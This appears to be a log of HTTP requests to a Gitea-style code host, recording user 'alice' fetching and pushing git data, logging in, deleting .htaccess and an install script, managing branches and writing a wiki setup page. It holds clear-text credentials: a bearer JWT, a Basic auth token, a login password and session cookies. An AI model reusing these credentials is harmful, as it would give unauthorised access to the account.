{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
